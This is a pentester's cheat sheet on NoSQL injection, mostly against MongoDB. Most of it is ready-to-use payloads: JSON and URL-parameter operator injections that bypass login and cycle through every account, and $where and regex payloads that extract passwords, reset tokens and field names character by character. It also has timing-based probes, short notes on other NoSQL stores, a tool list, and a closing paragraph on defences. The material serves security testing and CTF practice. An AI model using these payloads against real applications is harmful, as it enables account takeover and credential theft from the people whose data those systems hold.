NoSQL Injection
Two flavours:
- Syntax injection: break the query string (like classic SQLi but JS/JSON flavoured).
- Operator injection: inject Mongo operators
(
$ne,$regex,$where, etc.) as nested JSON or bracketed params.
See also SQL Injection, Authentication (auth-bypass payloads), API Security.
Where to look
- Login forms with a JSON body
(
{"username":"x","password":"y"}) - Anything with structured filters: search, category, sort, pagination, “advanced search”
- GraphQL backends sitting on Mongo
- Internal admin endpoints, which often use
$wherewith raw JS - Password reset / forgot-password flows (token field hidden in the user doc)
Detection
Fuzz string (URL / param). The block below is one single payload spread over three lines; the newlines are part of it:
'"`{
;$Foo}
$Foo \xYZ
URL-encoded, that becomes:
'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
If you have to inject it inside a JSON value instead, escape it so the JSON stays valid:
'\"`{\r;$Foo}\n$Foo \\xYZ
Single-character probes:
| Input | Look for |
|---|---|
' |
error / different response, suggests string context |
" |
same, double-quoted context |
\ |
escape handling |
; } |
ends the query block |
null byte (%00) |
Mongo may truncate at null and drop trailing conditions |
Boolean confirmation in a string context. Send a false and a true version, then compare:
fizzy' && 0 && 'x false (no / empty results)
fizzy' && 1 && 'x true (results come back)
fizzy'||'1'=='1 always true (dumps everything, including unreleased)
fizzy'%00 truncates, ignoring any further conditions
A quick way to prove the ' actually broke syntax:
inject an escaped quote (\'). If that stops erroring,
the raw ' was being parsed as syntax and you are
in.
Be careful with always-true conditions like
||'1'=='1. The same request data is often reused in other queries, so an always-true filter can wipe rows if it lands in an update or delete.
Operator injection
JSON body, turning a string into an operator object:
{"username":{"$ne":"x"},"password":{"$ne":"x"}} auth bypass, logs in as first user
{"username":{"$regex":"^admin"},"password":{"$ne":""}} target admin
{"username":{"$in":["admin","administrator","root"]},"password":{"$ne":""}}
{"username":{"$gt":""},"password":{"$gt":""}} alternative to $ne
{"username":"admin","password":{"$regex":"^a"}} exfil char by char
URL-param form (when the body is not JSON):
username[$ne]=x&password[$ne]=x
username[$regex]=^admin&password[$ne]=
If the URL form fails, switch to POST with
Content-Type: application/json and inject in the body.
Burp’s Content Type Converter extension automates the flip.
Useful operators:
$ne $gt $lt $in $nin $exists $regex $where $or $and $not $expr $type $mod.
Auth bypass shortcuts
Try in order:
{"username":"admin","password":{"$ne":"x"}}{"username":{"$ne":"x"},"password":{"$ne":"x"}}logs in as the first doc, often root{"username":{"$regex":"^adm"},"password":{"$ne":""}}{"username":{"$in":["admin","administrator","superadmin","root"]},"password":{"$ne":""}}- URL-encoded:
username[$ne]=x&password[$ne]=x
$ne only logs you in as the first matching doc. To
walk through every account, exclude the ones you have already landed
on with $nin and keep growing the list:
{"username":{"$nin":["admin"]},"password":{"$ne":"x"}} next user after admin
{"username":{"$nin":["admin","jude"]},"password":{"$ne":"x"}} skip both, get the next
Repeat until you have hit every account. Cleaner than guessing
names with $in.
Exfiltration via
$where (server-side JS)
If the app uses $where, you get arbitrary JS in the
query context, and this is the current document.
Length:
admin' && this.password.length == 8 || 'a'=='b
admin' && this.password.length < 30 || 'a'=='b binary-search the length
Char by char:
admin' && this.password[0] == 'a' || 'a'=='b
admin' && this.password.match(/^a/) || 'a'=='b
admin' && this.password.match(/\d/) || 'a'=='b contains a digit?
The trailing || 'a'=='b' keeps the injected string
syntactically closed without changing the result. In Burp Intruder,
a cluster bomb works well: position 1 is the index (0..len-1),
position 2 is the charset (a-z0-9). Sort by length to spot the true
hits.
Field-name discovery
You do not know the schema, since Mongo is schemaless. Discover fields.
Via $where and Object.keys(this):
"$where":"Object.keys(this)[0].match('^.{0}a.*')" is the 1st char of the 1st field 'a'?
"$where":"Object.keys(this)[1].match('^.{0}a.*')" move to the 2nd field, then walk the index
Increment the array index to walk all fields, and increment the
{0} offset to walk characters. Look for things like
passwordResetToken, apiKey,
mfaSecret, email.
Or by guessing: admin' && this.password != '
and compare the response to a known-good field
(username) versus a junk field (foo). A
field that exists reads like username; one that does
not reads like foo.
Operator-based
exfil (no $where available)
{"username":"admin","password":{"$regex":"^a.*"}}
{"username":"admin","password":{"$regex":"^ab.*"}}
{"username":"admin","password":{"$regex":"^abc.*"}}
Bisect with character classes (^[a-m], then
^[a-f], and so on) for roughly log2(charset) requests
per character.
Useful regex tricks:
^a.* starts with a
.*z$ ends with z
^a{5}$ exact length 5
[A-Z] contains an uppercase letter
Inject
$where even when it is not there
Add it as an extra JSON key. Mongo applies every top-level key as a condition:
{"username":"carlos","password":{"$ne":"x"},"$where":"0"} no match
{"username":"carlos","password":{"$ne":"x"},"$where":"1"} match
If the two responses differ, the $where JS is being
evaluated, so escalate to data extraction.
Timing-based (when responses do not differ)
admin'+function(x){var t=new Date(new Date().getTime()+5000);while((x.password[0]==='a')&&t>new Date()){};}(this)+'
admin'+function(x){if(x.password[0]==='a'){sleep(5000)};}(this)+'
{"$where":"sleep(5000)"}
{"$where":"if(this.password[0]=='a'){sleep(3000)}"}
Baseline the normal latency 5 to 10 times first so you know what “slow” looks like.
Other NoSQL DBs (quick hits)
- CouchDB: JSON HTTP API; injection often via
_findselectors with$gt,$regex. Default:5984/_all_dbsis reachable if exposed. - Redis: usually reached by SSRF / gopher rather than “injection”. See SSRF.
- Cassandra (CQL): looks SQL-ish, so the same
'and--tricks apply, but there are no joins. - Elasticsearch: JSON DSL;
scriptqueries (Painless) can reach RCE if scripting is enabled. Watch for reflective injection throughquery_string. - DynamoDB / Firebase: usually no string concat, so think operator-injection style only, via SDK misuse.
Tools
- Burp Repeater and Intruder (cluster bomb for char extraction)
- NoSQLMap: automated detection, auth bypass, and extraction
- mongoaudit: config / auth review
seclists/Fuzzing/Databases/NoSQL.txt- Burp Content Type Converter extension to flip URL into JSON
CTF checklist
Defence
Validate types server-side
(typeof password === 'string'), which kills most
Mongo-driver operator injections on the spot. Allowlist input keys,
and never spread user JSON straight into a query
(db.users.findOne({...req.body}) is the classic sin).
Avoid $where and mapReduce with user
input. Parameterize through the driver’s typed query builders.